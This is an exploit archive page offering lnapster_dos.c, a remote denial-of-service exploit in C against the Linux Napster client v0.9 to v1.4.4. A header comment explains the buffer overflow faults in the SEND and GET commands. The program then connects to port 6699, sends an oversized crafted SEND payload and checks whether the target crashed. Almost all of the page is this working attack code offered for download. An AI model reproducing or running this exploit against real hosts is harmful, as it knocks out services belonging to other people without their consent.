what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

lnapster_dos.c

lnapster_dos.c
Posted Dec 3, 2000
Authored by vade79, realhalo | Site realhalo.org

The Linux Napster Client v0.9 through v1.4.4 contains remote denial of service vulnerabilities, including a buffer overflow.

tags | exploit, remote, denial of service, overflow, vulnerability
systems | linux
SHA-256 | df942f2957c52dfcabfae137dce7e503c3a18bb3aa36ce6d8d404a43e2c6b85a

lnapster_dos.c

Change Mirror Download
/* (linux)napster[v0.9-/v1.4.4] remote crash/DoS, by v9[v9@fakehalo.org]. 

v0.9:
i re-wrote this after v1.4.3's release, when i remodded this to work on both
versions.

v1.4.3:
this causes a segmentation fault. the fault can be achieved via one of two
ways. the 1st fault is achieved when sending >1024 parameters to either the
SEND or GET function. the 2nd is in the SEND function, by sending 5554+
bytes in this form: SEND <parm1/anything> <5554+ bytes>. in the 2nd
function esi/edx is overwrote: 5558(+4 pointer bytes with offset of +281)
with a total of 5562 bytes. (just informing, but this uses the first fault
to crash linux napster)

v1.4.4:
i thought i notified the maintainer, but it's still vulnerable. :)

note:
bugs like this only have use if you're going to be a prick to someone.
*/
#define TIMEOUT 6
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
void timeout(){printf("connection timed out. (%d)\n",TIMEOUT);exit(-1);}
int main(int argc,char **argv){
char crash[2054];
int i,r,sock;
long ret;
struct hostent *h;
struct sockaddr_in s;
printf("(linux)napster[v0.9-/v1.4.4] remote crash/DoS, by: v9[v9@fakehalo.org].\n");
if(argc<2){printf("[!] syntax: %s <target>.\n",argv[0]);exit(-1);}
if(s.sin_addr.s_addr=inet_addr(argv[1])){
if(!(h=gethostbyname(argv[1]))){
printf("[!] error: could not resolve. (%s)\n",argv[1]);
exit(-1);
}
memcpy((char*)&s.sin_addr,(char*)h->h_addr,sizeof(s.sin_addr));
}
s.sin_family=AF_INET;
s.sin_port=htons(6699);
printf("[*] connecting to %s:6699.\n",argv[1]);
signal(SIGALRM,timeout);
alarm(TIMEOUT);
sock=socket(AF_INET,SOCK_STREAM,0);
if(connect(sock,(struct sockaddr_in*)&s,sizeof(s))){
printf("[!] error: connection failed.\n");
exit(-1);
}
alarm(0);
memcpy(crash,"SEND",4);
for(i=4;i<2054;i+=2){*(long *)&crash[i]=0x2001;}
crash[i]='\0';
printf("[*] connected, sending crash. (length=%d)\n",strlen(crash));
write(sock,crash,strlen(crash));
close(sock);
alarm(TIMEOUT);
sock=socket(AF_INET,SOCK_STREAM,0);
if(connect(sock,(struct sockaddr_in*)&s,sizeof(s))){printf("[*] result: success. (no response)\n");}
else{printf("[!] result: failed. (responded)\n");}
alarm(0);
exit(0);
}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close